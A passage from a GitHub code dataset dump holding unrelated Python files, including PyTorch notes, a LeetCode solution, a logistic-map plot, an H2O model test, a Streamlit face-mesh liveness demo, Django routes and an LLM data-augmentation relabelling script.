forward(self, x):\n out = self.linear(x)\n return out\n \nmodel = Model(28*28, 10)\n\n\n# ## 1. torch.autograd\n\n# `autograd` is a Pytorch package that we can use for `automatic differentiation` to automate the computation of backward passes in a Neural Network. Using `autograd,` the forward pass define a `computation graph` with nodes in the grapth being Tensors and edges being functions that produce output. \n\n# In[ ]:\n\n\n\n\n\n# ## 2. torch.nn\n\n# `torch.nn` is a Pytorch module for creating and training neural networks. It provides `Containers`, `Convolutional layers`, `Recurrent layers`, `Pooling layers`, `Padding layers`, `Non-linear activations`, `Loss functions`, `Normalization layers`, `Dropout layers` and `Utilities` among others.\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# ## 3. torch.optim\n\n# `torch.optim` package provides an interface for common optimization algorithms.\n\n# Optimization package\n\n# In[17]:\n\n\noptimizer = torch.optim.SGD(model.parameters(), lr=0.001)\noptimizer = torch.optim.Adam(model.parameters(),lr=0.001, betas=(0.6,0.8), eps=1e-08)\noptimizer = torch.optim.Adadelta(model.parameters(), lr=0.001, rho=0.9, eps=1e-05)\n\n\n# Extras [Optimization Algorithms](https://www.deeplearningwizard.com/deep_learning/boosting_models_pytorch/optimizers/) [Learning Rate Scheduling](https://www.deeplearningwizard.com/deep_learning/boosting_models_pytorch/lr_scheduling/)\n\n# ## 5. torch.utils\n\n# #### 5.1 Dataset\n\n# In[ ]:\n\n\n\n\n\n# #### 5.2 DataLoader\n\n# In[ ]:\n\n\n\n\n\n# ## 6. torch.random\n\n# In[ ]:\n\n\n\n\n\n# ## 7. TensorBoard\n\n# In[ ]:\n\n\n\n\n\n# ## 8. torch.jit\n\n# In[ ]:\n\n\n\n\n\n# ## References\n\n# - [CS 231n CNN for Visual Recognition](http://cs231n.github.io/)\n# - [PyTorch JavaPoint](https://www.javatpoint.com/pytorch)\n# - [Deep Learning Wizard](https://www.deeplearningwizard.com/deep_learning/intro/)\n\n# In[ ]:\n\n\n\n\n","repo_name":"shebogholo/pytorch","sub_path":"scripts/pytorch.py","file_name":"pytorch.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43381830588","text":"# 260. Single Number III\n#\n# Given an array of numbers nums, in which exactly two elements appear only once and all the other elements appear exactly twice. Find the two elements that appear only once.\n#\n# Example:\n#\n# Input: [1,2,1,3,2,5]\n# Output: [3,5]\n\n\nclass Solution:\n def singleNumber(self, nums: List[int]) -> List[int]:\n exist = set()\n\n for num in nums:\n if num in exist:\n exist.remove(num)\n\n elif num not in exist:\n exist.add(num)\n\n return list(exist)\n","repo_name":"yunnyang/Practice_Code","sub_path":"medium/leetCode260.py","file_name":"leetCode260.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3127019052","text":"\"\"\"\r\nThis program computes the logistic map equation.\r\n\r\nThe logistic map equation is a second degree polynomial equation often used as an\r\nexample in the discussions of chaos\r\n\r\nMore information:\r\nwiki: https://en.wikipedia.org/wiki/Logistic_map#Finding_cycles_of_any_length_when_r_=_4\r\n\r\nAuthor: Harivinay V\r\ngithub: https://github.com/vharivinay\r\n\"\"\"\r\n\r\n\r\n# IMPORTS\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom numba import jit\r\nimport time\r\n\r\n# @jit(nopython=True) # Compute this line out in the absence of a supported GPU\r\ndef lmap_compute(xn=4, r=0.0015):\r\n \"\"\"\r\n This functions computes the Logistic Map equationexit\r\n \"\"\"\r\n rvals = []\r\n xvals = []\r\n for r in np.arange(0, xn, r):\r\n # print('r = {}\\r'.format(r), end=\"\") # Disabled because jit doesnt like it!\r\n xold = 0.5\r\n # To get equlibrium value\r\n for i in range(2000):\r\n xnew = (xold - (xold**2)) * r\r\n xold = xnew\r\n # Save equilibrium values\r\n xsteady = xnew\r\n for i in range(1001):\r\n xnew = (xold - (xold**2)) * r\r\n xold = xnew\r\n rvals.append(r)\r\n xvals.append(xnew)\r\n if abs(xnew - xsteady) < 0.001:\r\n break\r\n return rvals, xvals\r\n\r\n# Run the main function\r\n# Define Inputs\r\nxn = 4\r\nr = 0.0025\r\n\r\ntic = time.perf_counter()\r\nrvals, xvals = lmap_compute(xn, r)\r\ntoc = time.perf_counter()\r\n\r\nprint(\"computation time: \", abs(toc - tic))\r\n\r\n# Visualization\r\nf = plt.figure(figsize=(16, 12))\r\nplt.subplot(111)\r\nax1 = plt.scatter(rvals, xvals, s=0.05)\r\nplt.xlim(3.447, 4.0)\r\nplt.ylim(0, 1)\r\nplt.axis(\"off\")\r\nplt.show()\r\n\r\nf.savefig(\"bifircation-plot_r{}.png\".format(r), bbox_inches=\"tight\", dpi=400)\r\n","repo_name":"vharivinay/logistic-map-plot","sub_path":"lmap_bifircation_plot.py","file_name":"lmap_bifircation_plot.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13348437954","text":"from builtins import range\nimport sys, os\n\nfrom h2o.estimators import H2OGenericEstimator\n\nsys.path.insert(1, os.path.join(\"..\",\"..\",\"..\"))\nimport h2o\nfrom tests import pyunit_utils\nfrom h2o.estimators.gbm import H2OGradientBoostingEstimator\nimport tempfile\n\ndef pubdev_8309():\n\n airlines = h2o.upload_file(pyunit_utils.locate(\"smalldata/airlines/allyears2k_headers.zip\"))\n \n # convert columns to factors\n airlines[\"Year\"]= airlines[\"Year\"].asfactor()\n airlines[\"Month\"]= airlines[\"Month\"].asfactor()\n airlines[\"DayOfWeek\"] = airlines[\"DayOfWeek\"].asfactor()\n airlines[\"Cancelled\"] = airlines[\"Cancelled\"].asfactor()\n airlines['FlightNum'] = airlines['FlightNum'].asfactor()\n \n # set the predictor names and the response column name\n predictors = airlines.columns[:9]\n response = \"IsDepDelayed\"\n \n # split into train and validation sets\n train, valid= airlines.split_frame(ratios=[.8], seed=1234)\n \n # create a list of column names to ignore\n col_list = ['ArrTime','DepTime','CRSArrTime','CRSDepTime']\n \n # initialize the estimator and train the model\n airlines_gbm = H2OGradientBoostingEstimator(ignored_columns=col_list, seed=1234)\n \n airlines_gbm.train(y=response, training_frame=train, validation_frame=valid)\n\n original_model_filename = tempfile.mkdtemp()\n # Download the MOJO\n original_model_filename = airlines_gbm.download_mojo(original_model_filename)\n # Load the model from the temporary file\n mojo_model = h2o.import_mojo(original_model_filename)\n assert isinstance(mojo_model, H2OGenericEstimator)\n assert mojo_model.params[\"ignored_columns\"] == airlines_gbm.params[\"ignored_columns\"]\n mojo_model.params[\"ignored_columns\"]['actual'] == col_list\n\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(pubdev_8309)\nelse:\n pubdev_8309()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_algos/gbm/pyunit_PUBDEV-8309.py","file_name":"pyunit_PUBDEV-8309.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"34762285109","text":"#https://www.mcponline.org/content/13/12/3497.long#sec-1\nfrom pathlib import Path\npathFiles = Path(\"L:/promec/Qexactive/LARS/2019/oktober/Kristine Sonja/txt\")\nfileName='proteinGroups.txt'\ntrainList=list(pathFiles.rglob(fileName))\n\nimport pandas as pd\ndf=pd.read_csv(trainList[0],low_memory=False,sep='\\t')\nprint(df.head())\nprint(df.columns)\nsample='L'\n\ndfHist=df[df['Fasta headers'].str.contains(\"Histone H\",regex=False)|df['Fasta headers'].str.contains(\"Core histone\",regex=False)==True]\ndfHistIntensity=dfHist.loc[:,dfHist.columns.str.startswith('Intensity')&dfHist.columns.str.contains(sample)]\n\ndfIntensity=df.loc[:,df.columns.str.startswith('Intensity')&df.columns.str.contains(sample)]\n#dfIntensity=dfIntensity.rename(columns = lambda x : str(x)[21:])\n\ndfHistProp=dfHistIntensity.sum()/dfIntensity.sum()\n#df_filtered_log2=(dfIntensity.filter(regex=('|'.join('A')))+1).apply(np.log2)\ndfHistProp.hist()\n\n#https://cshperspectives.cshlp.org/content/7/7/a019091.full\ndfProtAmt=6.5/dfHistProp\ndfProtAmt.hist()\nprint(dfProtAmt)\n","repo_name":"animesh/scripts","sub_path":"protCopyNum.py","file_name":"protCopyNum.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"9296238093","text":"import pygame\n\n\nIMG_TANK1 = pygame.image.load('img/tank1.png')\nIMG_TANK2 = pygame.image.load('img/tank2.png')\nIMG_TANK3 = pygame.image.load('img/tank3.png')\nIMG_EXPLOSION = pygame.image.load('img/explosion.png')\n\n\nclass Controls:\n def __init__(self, move_forward, move_backward, rotate_left, rotate_right, shoot):\n self.move_forward = move_forward\n self.move_backward = move_backward\n self.rotate_left = rotate_left\n self.rotate_right = rotate_right\n self.shoot = shoot\n\n\nTANK_CONTROLS = Controls('w', 's', 'a', 'd', pygame.K_SPACE)\n\nTILE_SIZE = 24\nTILES_X = 22\nTILES_Y = 24\nNUMBER_OF_MAPS = 3\nWIDTH, HEIGHT = TILES_X * TILE_SIZE, TILES_Y * TILE_SIZE\nGAME_TITLE = \"Tanks!\"\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\nSHELL_RADIUS = 5\nSHELL_LIFE = 1\nSHELL_COUNT = 1\nSHELL_SPEED = 4\n\nRELOAD_TIME = 3\nEXPLOSION_TIME = 0.3\nTANK_RADIUS = int(TILE_SIZE * 0.4)\n\nPLAYER_MOVEMENT_SPEED = 2\nPLAYER_ROTATION_SPEED = 3\n\nENEMY_MOVEMENT_SPEED = 1\nENEMY_ROTATION_SPEED = 2\nENEMY_FOV = 20\nENEMY_FOV_DISTANCE = 150\nNUMBER_OF_ENEMIES = 5\n","repo_name":"relidaar/TanksGame","sub_path":"game_settings.py","file_name":"game_settings.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10531034237","text":"import math\ndef paint_calc(height, width, cover):\n can_require = height*width/cover\n print(math.ceil(can_require))\n\n# Define a function called paint_calc() so that the code below works. \n\ntest_h = int(input(\"Height of wall: \"))\ntest_w = int(input(\"Width of wall: \"))\ncoverage = 5\npaint_calc(height=test_h, width=test_w, cover=coverage)\n\n","repo_name":"harshalgajera043/Python","sub_path":"point_area.py","file_name":"point_area.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39341706199","text":"#Modified by Augmented Startups 2021\n#Face Landmark User Interface with StreamLit\n#Watch Computer Vision Tutorials at www.augmentedstartups.info/YouTube\nimport streamlit as st\nimport mediapipe as mp\nimport cv2\nimport numpy as np\nimport tempfile\nimport time\nfrom PIL import Image\n\nmp_drawing = mp.solutions.drawing_utils\nmp_face_mesh = mp.solutions.face_mesh\n\nMOUTH_OPEN_FRAME =3\nFONTS =cv2.FONT_HERSHEY_COMPLEX\nPINK = (147,20,255)\nGREEN = (0,255,0)\n\nLIPS=[ 61, 146, 91, 181, 84, 17, 314, 405, 321, 375,291, 308, 324, 318, 402, 317, 14, 87, 178, 88, 95,185, 40, 39, 37,0 ,267 ,269 ,270 ,409, 415, 310, 311, 312, 13, 82, 81, 42, 183, 78 ]\nLOWER_LIPS =[61, 146, 91, 181, 84, 17, 314, 405, 321, 375, 291, 308, 324, 318, 402, 317, 14, 87, 178, 88, 95]\nUPPER_LIPS=[ 185, 40, 39, 37,0 ,267 ,269 ,270 ,409, 415, 310, 311, 312, 13, 82, 81, 42, 183, 78] \n\n\nDEMO_VIDEO = 'demo.mp4'\nDEMO_IMAGE = 'demo.jpg'\nname = \"unknown\"\n\nst.title('Face Mesh Application using MediaPipe')\n\nst.markdown(\n \"\"\"\n \n \"\"\",\n unsafe_allow_html=True,\n)\n\nst.sidebar.title('Face Mesh Application using MediaPipe')\nst.sidebar.subheader('Parameters')\n\n@st.cache()\ndef image_resize(image, width=None, height=None, inter=cv2.INTER_AREA):\n # initialize the dimensions of the image to be resized and\n # grab the image size\n dim = None\n (h, w) = image.shape[:2]\n\n # if both the width and height are None, then return the\n # original image\n if width is None and height is None:\n return image\n\n # check to see if the width is None\n if width is None:\n # calculate the ratio of the height and construct the\n # dimensions\n r = height / float(h)\n dim = (int(w * r), height)\n\n # otherwise, the height is None\n else:\n # calculate the ratio of the width and construct the\n # dimensions\n r = width / float(w)\n dim = (width, int(h * r))\n\n # resize the image\n resized = cv2.resize(image, dim, interpolation=inter)\n\n # return the resized image\n return resized\n\n\n# landmark detection function \n@st.cache(allow_output_mutation=True)\ndef landmarksDetection(img, results, draw=False):\n img_height, img_width= img.shape[:2]\n # list[(x,y), (x,y)....]\n mesh_coord = [(int(point.x * img_width), int(point.y * img_height)) for point in results.multi_face_landmarks[0].landmark]\n if draw :\n [cv2.circle(img, p, 2, (0,255,0), -1) for p in mesh_coord]\n\n # returning the list of tuples for each landmarks \n return mesh_coord\n\ndef findEuclideanDistance(source_representation, test_representation): #distance.findEuclideanDistance\n if type(source_representation) == list:\n source_representation = np.array(source_representation)\n\n if type(test_representation) == list:\n test_representation = np.array(test_representation)\n\n euclidean_distance = source_representation - test_representation\n euclidean_distance = np.sum(np.multiply(euclidean_distance, euclidean_distance))\n euclidean_distance = np.sqrt(euclidean_distance)\n return euclidean_distance\n\ndef openRatio(img, landmarks, lips_indices):\n lips_top = landmarks[lips_indices[0]]\n lips_bottom = landmarks[lips_indices[10]]\n lips_left = landmarks[lips_indices[34]]\n lips_right = landmarks[lips_indices[16]]\n #61 left lip, 291 right lip, 13 top light, 14 bottom lip\n #0, 10, 34, 16\n\n lipsvDistance = findEuclideanDistance(np.array(lips_top), np.array(lips_bottom))\n lipshDistance = findEuclideanDistance(np.array(lips_right), np.array(lips_left))\n lipsRatio = lipshDistance/lipsvDistance\n\n return lipsRatio \n\n# @st.cache(allow_output_mutation=True, suppress_st_warning =True)\ndef detectMouth(name, detection_confidence, tracking_confidence, max_faces=1):\n fps = 0\n i = 0\n with mp_face_mesh.FaceMesh(\n min_detection_confidence=detection_confidence,\n min_tracking_confidence=tracking_confidence , \n max_num_faces = max_faces) as face_mesh:\n prevTime = 0\n CEF_COUNTER =0\n TOTAL_OPENS =0\n detected = False\n\n while vid.isOpened():\n i +=1\n ret, frame = vid.read()\n # if not ret:\n # continue\n if ret == False:\n break\n \n frame = image_resize(image = frame, width = 640)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n results = face_mesh.process(frame)\n\n frame.flags.writeable = True\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n\n face_count = 0\n if results.multi_face_landmarks:\n for face_landmarks in results.multi_face_landmarks:\n face_count += 1\n\n mesh_coords = landmarksDetection(frame, results, False)\n ratio = openRatio(frame, mesh_coords, LIPS)\n cv2.putText(frame, f'ratio {ratio}', (100, 100), FONTS, 1.0, GREEN, 2)\n\n if ratio >0.26: #0.15 for smile\n CEF_COUNTER +=1\n cv2.putText(frame, 'Mouth Open', (200, 50), FONTS, 1.3, PINK, 2)\n # utils.colorBackgroundText(frame, f'Mouth Open', FONTS, 1.7, (int(frame_height/2), 100), 2, utils.YELLOW, pad_x=6, pad_y=6, )\n\n else:\n if CEF_COUNTER>MOUTH_OPEN_FRAME:\n TOTAL_OPENS +=1\n CEF_COUNTER =0\n output = \"output/mouth_\" + name + \".jpg\"\n cv2.imwrite(output, frame)\n detected = True\n vid.release()\n return detected, frame\n\n cv2.putText(frame, f'Total Opens: {TOTAL_OPENS}', (100, 150), FONTS, 0.6, GREEN, 2)\n # utils.colorBackgroundText(frame, f'Total Opens: {TOTAL_OPENS}', FONTS, 0.7, (30,150),2)\n cv2.polylines(frame, [np.array([mesh_coords[p] for p in LIPS ], dtype=np.int32)], True, GREEN, 1, cv2.LINE_AA)\n else:\n cv2.putText(frame, 'No Face', (200, 50), FONTS, 1.3, PINK, 2)\n \n currTime = time.time()\n fps = 1 / (currTime - prevTime)\n prevTime = currTime\n # if record:\n # #st.checkbox(\"Recording\", value=True)\n # out.write(frame)\n #Dashboard\n kpi1_text.write(f\"

{int(fps)}

\", unsafe_allow_html=True)\n kpi2_text.write(f\"

{face_count}

\", unsafe_allow_html=True)\n kpi3_text.write(f\"

{width}

\", unsafe_allow_html=True)\n\n frame = cv2.resize(frame,(0,0),fx = 0.8 , fy = 0.8)\n # frame = image_resize(image = frame, width = 640, inter=cv2.INTER_CUBIC)\n stframe.image(frame,channels = 'BGR',use_column_width=True)\n ### Streamlit very slow.. reduce to 400from 600\n if i >400:\n break\n # vid.release()\n # return detected, frame\n vid.release()\n return detected, frame\n\napp_mode = st.sidebar.selectbox('Choose the App mode',\n['About App','Run on Image','Run on Video']\n)\n\nif app_mode =='About App':\n st.markdown('In this application we are using **MediaPipe** for creating a Face Mesh. **StreamLit** is to create the Web Graphical User Interface (GUI) ')\n st.markdown(\n \"\"\"\n \n \"\"\",\n unsafe_allow_html=True,\n )\n st.video('https://www.youtube.com/watch?v=FMaNNXgB_5c&ab_channel=AugmentedStartups')\n\n st.markdown('''\n # About Me \\n \n Hey this is ** Ritesh Kanjee ** from **Augmented Startups**. \\n\n \n If you are interested in building more Computer Vision apps like this one then visit the **Vision Store** at\n www.augmentedstartups.info/visionstore \\n\n \n Also check us out on Social Media\n - [YouTube](https://augmentedstartups.info/YouTube)\n - [LinkedIn](https://augmentedstartups.info/LinkedIn)\n - [Facebook](https://augmentedstartups.info/Facebook)\n - [Discord](https://augmentedstartups.info/Discord)\n \n If you are feeling generous you can buy me a **cup of coffee ** from [HERE](https://augmentedstartups.info/ByMeACoffee)\n \n ''')\nelif app_mode =='Run on Video':\n\n st.set_option('deprecation.showfileUploaderEncoding', False)\n\n # use_webcam = st.button('Use Webcam')\n use_webcam = st.checkbox('Use Webcam')\n # record = st.sidebar.checkbox(\"Record Video\")\n # if record:\n # st.checkbox(\"Recording\", value=True)\n\n st.sidebar.markdown('---')\n st.markdown(\n \"\"\"\n \n \"\"\",\n unsafe_allow_html=True,\n )\n\n # st.slider('test', min_value = 0.0,max_value = 1.0,value = 0.5)\n video_file_buffer = False\n if not use_webcam:\n video_file_buffer = st.file_uploader(\"Upload a video\", type=[ \"mp4\", \"mov\",'avi','asf', 'm4v' ])\n \n mouthStart = st.button(\"START MOUTH ANTI-SPOOFING\")\n \n st.markdown(' ## Output')\n kpi1, kpi2, kpi3 = st.columns(3)\n\n with kpi1:\n st.markdown(\"**FrameRate**\")\n kpi1_text = st.markdown(\"0\")\n\n with kpi2:\n st.markdown(\"**Detected Faces**\")\n kpi2_text = st.markdown(\"0\")\n\n with kpi3:\n st.markdown(\"**Image Width**\")\n kpi3_text = st.markdown(\"0\")\n\n st.markdown(\"
\", unsafe_allow_html=True)\n \n \n # detectFaces doesnt support currently\n # max_faces = st.number_input('Maximum Number of Faces', value=1, min_value=1)\n detection_confidence = st.slider('Min Detection Confidence', min_value =0.0,max_value = 1.0,value = 0.5)\n tracking_confidence = st.slider('Min Tracking Confidence', min_value = 0.0,max_value = 1.0,value = 0.5)\n \n stframe = st.empty()\n\n\n tfflie = tempfile.NamedTemporaryFile(delete=False)\n if mouthStart:\n if not video_file_buffer:\n if use_webcam:\n vid = cv2.VideoCapture(0)\n else:\n vid = cv2.VideoCapture(DEMO_VIDEO)\n tfflie.name = DEMO_VIDEO\n \n else:\n tfflie.write(video_file_buffer.read())\n vid = cv2.VideoCapture(tfflie.name)\n\n width = int(vid.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(vid.get(cv2.CAP_PROP_FRAME_HEIGHT))\n fps_input = int(vid.get(cv2.CAP_PROP_FPS))\n\n #codec = cv2.VideoWriter_fourcc(*FLAGS.output_format)\n # codec = cv2.VideoWriter_fourcc('V','P','0','9')\n # out = cv2.VideoWriter('output1.mp4', codec, fps_input, (width, height))\n \n st.sidebar.text('Input Video')\n st.sidebar.video(tfflie.name)\n\n detected, frame = detectMouth(name, detection_confidence, tracking_confidence)\n # out.release()\n\n stframe.empty()\n if detected:\n st.text('Mouth Open Instance')\n # st.subheader('Output Image')\n st.image(frame,use_column_width= True)\n else:\n st.text(\"NOTHING FOUND\")\n\n\n \n\nelif app_mode =='Run on Image':\n\n drawing_spec = mp_drawing.DrawingSpec(thickness=2, circle_radius=1)\n\n st.sidebar.markdown('---')\n\n st.markdown(\n \"\"\"\n \n \"\"\",\n unsafe_allow_html=True,\n)\n st.markdown(\"**Detected Faces**\")\n kpi1_text = st.markdown(\"0\")\n st.markdown('---')\n\n max_faces = st.sidebar.number_input('Maximum Number of Faces', value=2, min_value=1)\n st.sidebar.markdown('---')\n detection_confidence = st.sidebar.slider('Min Detection Confidence', min_value =0.0,max_value = 1.0,value = 0.5)\n st.sidebar.markdown('---')\n\n icimg_file_buffer = st.sidebar.file_uploader(\"Upload IC Image\", type=[ \"jpg\", \"jpeg\",'png'])\n selfieimg_file_buffer = st.sidebar.file_uploader(\"Upload Selfie Image\", type=[ \"jpg\", \"jpeg\",'png'])\n\n if icimg_file_buffer is not None:\n icimg = np.array(Image.open(icimg_file_buffer))\n else:\n demo_image = DEMO_IMAGE\n icimg = np.array(Image.open(demo_image))\n\n if selfieimg_file_buffer is not None:\n selfieimg = np.array(Image.open(selfieimg_file_buffer))\n else:\n demo_image = DEMO_IMAGE\n selfieimg = np.array(Image.open(demo_image))\n\n st.sidebar.text('IC Image')\n st.sidebar.image(icimg)\n st.sidebar.text('Selfie Image')\n st.sidebar.image(selfieimg)\n face_count = 0\n\n # Dashboard\n with mp_face_mesh.FaceMesh(\n static_image_mode=True,\n max_num_faces=max_faces,\n min_detection_confidence=detection_confidence) as face_mesh:\n\n results = face_mesh.process(image)\n out_image = image.copy()\n\n for face_landmarks in results.multi_face_landmarks:\n face_count += 1\n\n #print('face_landmarks:', face_landmarks)\n\n mp_drawing.draw_landmarks(\n image=out_image,\n landmark_list=face_landmarks,\n connections=mp_face_mesh.FACEMESH_CONTOURS,\n landmark_drawing_spec=drawing_spec,\n connection_drawing_spec=drawing_spec)\n kpi1_text.write(f\"

{face_count}

\", unsafe_allow_html=True)\n st.subheader('Output Image')\n st.image(out_image,use_column_width= True)\n# Watch Tutorial at www.augmentedstartups.info/YouTube","repo_name":"HansLau/streamlist_test","sub_path":"face_mesh_app - Copy.py","file_name":"face_mesh_app - Copy.py","file_ext":"py","file_size_in_byte":14339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4273026237","text":"from configs import exp_configs\nimport os, gc, argparse, pickle, torch, numpy as np\nfrom utils import main_data_utils\n\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\nfrom datasets import DatasetDict, Dataset\n\nfrom haven import haven_wizard as hw\n\ntorch.backends.cudnn.benchmark = True\n\npjoin = os.path.join\nwrite_pickle = lambda obj, path: pickle.dump(obj, open(path, \"wb\"))\nread_pickle = lambda path: pickle.load(open(path, \"rb\"))\n\n\ndef oracle_correction(exp_dict, savedir, args):\n \"\"\"Main.\"\"\"\n # ==========================\n # load full dataset (containing all generated examples)\n # ==========================\n ds_name = exp_dict[\"dataset\"][\"name\"]\n ds_config = main_data_utils.get_ds_config(ds_name)\n DOMAINS = list(ds_config.domain_to_intent.keys())\n if \"oos\" in DOMAINS:\n print(f\"ignoring OOS domain from {ds_name.upper()}\")\n DOMAINS.pop(DOMAINS.index(\"oos\")) # remove oos\n\n print(f\"{ds_name} domains:\")\n print(DOMAINS)\n engines = [\"ada\", \"babbage\", \"curie\", \"davinci\", \"gptj\", \"eda\", \"val\", \"test\"]\n temp = [1.0]\n\n base_data_path = pjoin(args.datadir, ds_name, \"full\", \"dataset.pkl\")\n exp_data_path = pjoin(args.datadir, ds_name, \"full\", \"data_full_suite.pkl\")\n\n tokenizer = AutoTokenizer.from_pretrained(\n exp_dict[\"model\"][\"backbone\"], use_fast=True\n )\n\n generated_dataset = DatasetDict(read_pickle(exp_data_path))\n\n # remove the domains and make a HF Dataset\n for e in engines:\n # no need to remove domains, will fetch from the base dataset\n if e in [\"val\", \"test\"]:\n continue\n elif e == \"gptj\":\n temp = [round(a, 1) for a in np.linspace(0.5, 2, int((2.1 - 0.5) / 0.1))]\n else:\n temp = [1.0]\n for t in temp:\n _lines = []\n _intents = []\n for d in DOMAINS:\n attr = e if e in [\"eda\", \"bt\"] else f\"{e}_{t}\"\n _lines.extend(generated_dataset[d][\"F\"][attr][\"text\"])\n _intents.extend(generated_dataset[d][\"F\"][attr][\"intent\"])\n generated_dataset[attr] = Dataset.from_dict(\n {\"text\": _lines, \"intent\": _intents}\n )\n\n base_dataset = read_pickle(base_data_path)\n # Add validation samples (for computing thresholds in fidelity plots)\n generated_dataset[\"val\"] = Dataset.from_dict(base_dataset[\"val\"])\n generated_dataset[\"test\"] = Dataset.from_dict(base_dataset[\"test\"])\n\n # ==========================\n # create model\n # ==========================\n print(f\"Oracle path: {args.modeldir}\")\n oracle = AutoModelForSequenceClassification.from_pretrained(\n args.modeldir, num_labels=exp_dict[\"dataset\"][\"num_labels\"]\n )\n oracle.cuda()\n oracle.eval()\n\n # Init AL dataset\n al_path = pjoin(args.datadir, ds_name, \"full\", \"al_dataset.pkl\")\n if os.path.exists(al_path):\n print(f\"Loading existing data from {al_path}\")\n al_ds = read_pickle(al_path)[\"generated\"]\n else:\n print(f\"Initializing al_dataset.pkl for {ds_name.upper()}\")\n al_ds = {}\n\n with torch.no_grad():\n for e in engines:\n if e == \"gptj\":\n temp = [\n round(a, 1) for a in np.linspace(0.5, 2, int((2.1 - 0.5) / 0.1))\n ]\n else:\n temp = [1.0]\n for t in temp:\n attr = e if e in [\"eda\", \"bt\", \"val\", \"test\"] else f\"{e}_{t}\"\n if attr in al_ds:\n print(f\"{attr} already exists in {ds_name}'s AL dataset\")\n continue\n print(f\"relabeling for {attr}\")\n al_ds[attr] = {}\n al_ds[attr][\"text\"] = []\n al_ds[attr][\"label\"] = []\n\n encodings = tokenizer(\n generated_dataset[attr][\"text\"],\n max_length=50,\n padding=True,\n truncation=True,\n return_tensors=\"pt\",\n )\n total_num = len(encodings[\"input_ids\"])\n batch_size = 100\n\n print(\"total_num\", total_num, \"and batch_size\", batch_size)\n lbls = []\n for i in range(0, total_num, batch_size):\n outputs = oracle(\n encodings[\"input_ids\"][i : i + 100].cuda(),\n attention_mask=encodings[\"attention_mask\"][i : i + 100].cuda(),\n )\n probs = torch.softmax(outputs.logits, dim=1)\n lbls.extend(torch.argmax(probs, dim=1).cpu().tolist())\n\n al_ds[attr][\"text\"] = generated_dataset[attr][\"text\"]\n al_ds[attr][\"intent\"] = lbls\n al_ds[attr][\"old_intent\"] = generated_dataset[attr][\"intent\"]\n\n al_dataset = dict(\n train=base_dataset[\"train\"],\n val=base_dataset[\"val\"],\n test=base_dataset[\"test\"],\n generated=al_ds,\n )\n\n with open(al_path, \"wb\") as f:\n pickle.dump(al_dataset, f)\n\n print(\"Emptying cache...\") # crucial!\n gc.collect()\n torch.cuda.empty_cache()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-e\",\n \"--exp_group_list\",\n nargs=\"+\",\n default=\"resnet\",\n help=\"name of an experiment in exp_configs.py\",\n )\n parser.add_argument(\n \"-sb\",\n \"--savedir_base\",\n default=\"/mnt/home/haven_output\",\n help=\"folder where logs will be saved\",\n )\n parser.add_argument(\"-nw\", \"--num_workers\", type=int, default=4)\n parser.add_argument(\"-d\", \"--datadir\", type=str, default=\"./data\")\n parser.add_argument(\"-md\", \"--modeldir\", type=str, default=None)\n parser.add_argument(\"-ei\", \"--exp_id\", default=None)\n parser.add_argument(\n \"-j\",\n \"--job_scheduler\",\n type=str,\n default=None,\n help=\"If 1, runs in toolkit in parallel\",\n )\n parser.add_argument(\n \"--python_binary\", default=\"python\", help=\"path to your python executable\"\n )\n\n args, unknown = parser.parse_known_args()\n if args.job_scheduler == \"1\":\n from configs import job_configs\n\n job_config = job_configs.JOB_CONFIG\n else:\n job_config = None\n file_name = os.path.basename(__file__)[:-3] # remove .py\n hw.run_wizard(\n func=oracle_correction,\n exp_groups=exp_configs.EXP_GROUPS,\n job_config=job_config,\n python_binary_path=args.python_binary,\n python_file_path=f\"-m runners.{file_name}\",\n use_threads=True,\n args=args,\n )\n","repo_name":"ServiceNow/data-augmentation-with-llms","sub_path":"runners/oracle_relabel.py","file_name":"oracle_relabel.py","file_ext":"py","file_size_in_byte":6629,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"7089106541","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.home, name=\"home\"),\n path(\"login\", views.login, name=\"login\"),\n path(\"register\", views.register, name=\"register\"),\n path(\"logout\", views.logout, name=\"logout\"),\n path(\"panel\", views.panel, name=\"panel\"),\n path(\"offers\", views.offers, name=\"offers\"),\n path(\"offer_form\", views.offer_form, name=\"offer_form\"),\n path(\"delete_offer/\", views.delete_offer, name=\"delete_offer\"),\n path(\"update_offer/\", views.update_offer, name=\"update_offer\"),\n]\n","repo_name":"fjedd/offer_me","sub_path":"main_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23468414381","text":"__author__ = 'rui'\nimport math\ndef solve_1(dn, mlst):\n eat = 0\n pre = mlst[0]\n for m in mlst[1:]:\n delta = pre-m\n print 